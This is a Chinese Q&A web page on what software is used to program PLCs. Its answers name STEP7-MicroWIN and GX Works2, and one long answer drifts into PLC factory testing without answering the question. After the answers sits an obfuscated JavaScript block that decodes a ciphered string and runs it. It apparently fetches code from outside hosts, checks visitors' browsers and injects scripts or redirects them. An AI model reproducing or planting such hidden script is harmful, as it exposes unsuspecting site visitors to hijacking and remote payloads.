PLC的制作软件是什么?

2025-03-01 20:20:44
推荐回答(4个)
回答(1):

在PLC的产品设计过程中的可靠性方面的考虑。但即使有了一个优良的设计,如果在产品制造的过程中间,不能严格把关的话,产品的质量和可靠性依然不能稳定。实践证明,PLC产品的大多数故障的原因,都是在制造过程中产生的。而在制造过程中,要保证产品的可靠性与稳定性,最重要的就是产品测试,只有通过完整和全面的测试,才能发现产品中的问题,再给予解决。 从制造流程上来分,PLC的产品测试可以分为四个部分: 首先是元器件的测试,也包括外协件的测试。这时大多采用抽样的方法,其实,在采购之前,就要对供应商的资格进行认定,要避免不规范运作的元器件供应商,并与合资格的供应商建立长期的关系,这样,可以保证进来的元器件从根本上不会出大的问题。 但即便是对长期的正规的供应商,也要进行入库前的检验,通常,首先要进行目测,包括数量的清单,型号的核对,批号和生产日期等。然后,对元器件进行抽样检测;由于PLC的质量要求较高,因此,尽可能将抽样的比例加大,这样可以增加发现故障元件的概率。 元器件测试完成后,第二步就是要在生产过程中,对每个生产加工工序进行的QC测试。对PLC的生产来说,主要是线路板的测试,通常包括:丝印、贴片、回流焊、波峰焊、手工插件和焊接几个工序,这时,最好对每个模块的每个工序做一个专用的测试架,才能保证能够高效而准确地测量出每个模块的质量。 在制造过程中,一旦发现质量问题,要立即找出原因,看是由于元器件本身的原因,还是加工质量的原因。如果是后者,在出现比例比较大的故障如虚焊等现象后,要及时调整生产设备的工作参数,既要保证生产速度和生产率,也要保证降低故障率。如果PLC制造商有自己的生产线,应该将每个模块的最佳生产状态参数保存下来,以后每次生产同样的模块的时候,可以按照该最佳的状态进行生产。而且,这个最佳的生产状态参数是要不断更新的。 生产制造完成后,是模块的装配环节。装配完成后,要进行模块的性能测试。这一步的测试是十分关键的,因为最重要的性能测试都是在这个环节,由于通常PLC的各种模块需要测试的参数较多,因此,一定要为每个型号的每个模块制作专门的测试架,并采用自动测试工装,这样才能保证测试参数的全面和完整,同时也保证测试的生产率。这是生产过程中测试的第三步。 模块测试完毕后,要将模块送入老化室进行高温老化。关于老化,有许多人会将之与高温测试混同起来。其实,这是完全不同的。产品的高温测试,主要是检测该产品能够在设计的高温工作区段里正常工作,比如,如果PLC的工作温度是55度,那么只要在55度的范围内开机进行工作测试,在模块里的温度达到稳定后(通常为半小时左右)就可以了。但是,老化则完全是另外一个概念。 每个产品的元器件都有一定的寿命周期,比如,电子元器件的寿命为10年,那么,在这个寿命周期了,前三个月的故障率是很高的,其后故障率会越来越低,在三个月之后,达到稳定,故障率就会降到一个比较低的水平,一直到10年左右,器件达到了寿命,故障率又开始上升。 生产制造过程中的老化,就是要通过高温运行,将产品前期的故障率较高的时间缩短,使产品在出厂前就跨越过这个阶段,进入低故障率阶段。老化的温度和时间与产品的不同种类有关,对于电子产品来说,如果设定在55~60度的温度,可以将前期的高故障率的时间从三个月缩短到三天左右。这就是为什么许多电子产品的老化时间在72小时的原因。因此,老化是PLC产品生产过程的一道重要工序,而不能仅仅被看作是一个测试的过程。 知道了上面的道理,就同样会明白产品的老化过程是十分重要的,而且,老化后的测试更加重要。因为,容易出现故障的模块,在老化过程中,绝大部分的潜在故障会在老化期间暴露出来,因此,必须对老化后的产品进行严格的测试。测试的方法和手段与老化前的模块测试手段相似,但必须全部完整地检测。有些测试人员认为产品已经测过一次了,因此,对老化后的产品测试往往放松,其实,这是大错而特错的。老化后的测试,就是PLC在制造过程中测试的第四步。 以上的四步是PLC的硬件测试的介绍。由于软件也是PLC的重要组成部分,因此,对PLC的内部的软件,同样要进行测试。通常,由于产品保密的原因,即便是外协加工的模块,公司的关键软件必须在公司内部进行安装,有关测试功能也必须在公司内部完成。 有关软件功能测试又分为底层嵌入式软件测试和编程软件的测试。 底层嵌入式软件指PLC的系统软件,即在产品的CPU模件内的嵌入式固化软件(FIRMWARE),在工业控制系统的CPU模块里,都有一个IC芯片,里面是CPU的固化系统软件。通常称之为SOC(System On Chip),这个SOC是控制器的核心。实现SOC的方式主要有ASIC和FPGA两种。目前,德维森的主要的嵌入式软件是用FPGA技术来进行固化的,因此这里只简单介绍FPGA芯片的测试流程。 在进行制造过程的芯片测试时,首先要将FPGA芯片的原料检验委托供应商进行,公司每月一次进行抽检,以保证芯片本身的质量没有问题;同时,所要嵌入的软件必须已经通过FPGA样片调试,功能已经合格。 芯片首先通过芯片写入器将软件写入,之后,由测试人员将芯片插入到测试电路上,使用逻辑分析仪对芯片的预先指定的管脚波形进行逻辑分析测试,为了保证能够对芯片进行100%的测试,这一步骤只对几个关键点的波形进行测试。逻辑测试完成后,对芯片进行电性能测试,这一步骤主要测试芯片的工作电压的高低限值和自动恢复性能。电气性能测试完成后,开始对芯片进行老化测试。老化后,再进行一次逻辑分析测试,并选取至少5%的芯片进行综合性能测试,主要是观察芯片的软件功能供设计修改参考。 产品的编程软件的测试通常不在制造过程测试,我将在产品应用过程的测试中叙述。 以上的制造过程的测试主要指的是性能测试。此外,对PLC产品,还要进行专门的可靠性测试。 产品的可靠性测试包括环境测试、机械性能测试和电气性能测试。机械性能测试主要是测试产品包装的机械完整性,包括焊接点的牢固性、模具的精密度、接线端子的牢固度等。环境测试主要测试产品在恶劣条件下存放及使用的耐用性(或寿命,通常以平均无故障时间计算)。电气性能测试是用来验证产品在即将使用的环境中是否经得起各种电气环境的考验。根据国家有关规定,可靠性测试(包括EMC、振动和冲击以及粉尘测试等)在每种产品首批样品生产后,到权威的专业测试机构进行试验即可,之后每年一次到政府专业的测试中心送检一次。公司内部对产品只进行耐压和高低温老化测试,不需要对每个产品的每个批次都进行可靠性测试。 环境测试包括高温、低温、盐雾、粉尘、易燃易爆性气体、湿度、海拔测试等;机械性能测试包括振动、冲击、加速应力等;电气性能测试包括EMC电磁兼容性试验(包括辐射特性、静电、群脉冲等)、触点试验(主要对开关量输入输出模块)和耐压试验等。送检产品为随机抽样,通常为两套。 在以下情况下,必须专门进行环境测试:1)新产品首次批量生产;2)更换了新的模具;3)更换了外协生产厂家;4)产品的屏蔽、接线、端子等进行了设计修改,但没有充足的证据证明比原来设计有改善的;5)产品的外包装更换;6)用户对环境有超出规范的特别要求。 在可靠性试验中,只有耐压测试是对每个产品、每个批次均要进行的。包括电源耐压测试和信号线、通讯线耐压测试。这两项测试通常是在产品老化时进行,主要目的是检验产品的电气性能是否能保证在设计手册的电压下正常运行。 以上,为PLC产品在制造阶段的可靠性考虑和主要测试的方法。德维森的产品从一开始就十分重视制造过程中的质量和测试,在2003年开始建立了中国第一套专业的PLC生产线,配备了十分齐全的测试设备。今年,公司搬进了新的办公大楼后,更是对生产线进行了进一步的改造投资,扩大了老化室,完善了各类测试设备,新设计和研制了一批高效的测试工装,将使公司的产品质量得到更稳固的保证。

回答(2):

通常情况下使用STEP7-MicroWIN
简介:
STEP7-Micro/WIN32西门子编程软件是基于Windows的应用软件,它是西门子公司专门为S7-200系列可编程控制器而设计开发,是西门子PLC用户不可缺少的开发工具。目前STEP7-Micro/WIN32编程软件已经升级到了4.0版本

PLC硬件设计包括:PLC及外围线路的设计、电气线路的设计和抗干扰措施的设计等。
选定PLC的机型和分配I/O点后,硬件设计的主要内容就是电气控制系统的原理图的设计,电气控制元器件的选择和控制柜的设计。电气控制系统的原理图包括主电路和控制电路。控制电路中包括PLC的I/O接线和自动、手动部分的详细连接等。电器元件的选择主要是根据控制要求选择按钮、开关、传感器、保护电器、接触器、指示灯、电磁阀等。
2. PLC的软件设计
软件设计包括系统初始化程序、主程序、子程序、中断程序、故障应急措施和辅助程序的设计,小型开关量控制一般只有主程序。首先应根据总体要求和控制系统的具体情况,确定程序的基本结构,画出控制流程图或功能流程图,简单的可以用经验法设计,复杂的系统一般用顺序控制设计法设计。

回答(3):

你好

     1、你指编程吗?每个厂家都有自己的编程软件;

     2、PLC生产?我想应该是电路图等等;

     3、结构?也许用到机械设置软件;

     社区http://bbs.gongkong.com/

回答(4):

PLC程序编写软件
不同厂家的PLC的软件是不一样的
如三菱现用的为WORKS2软件

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();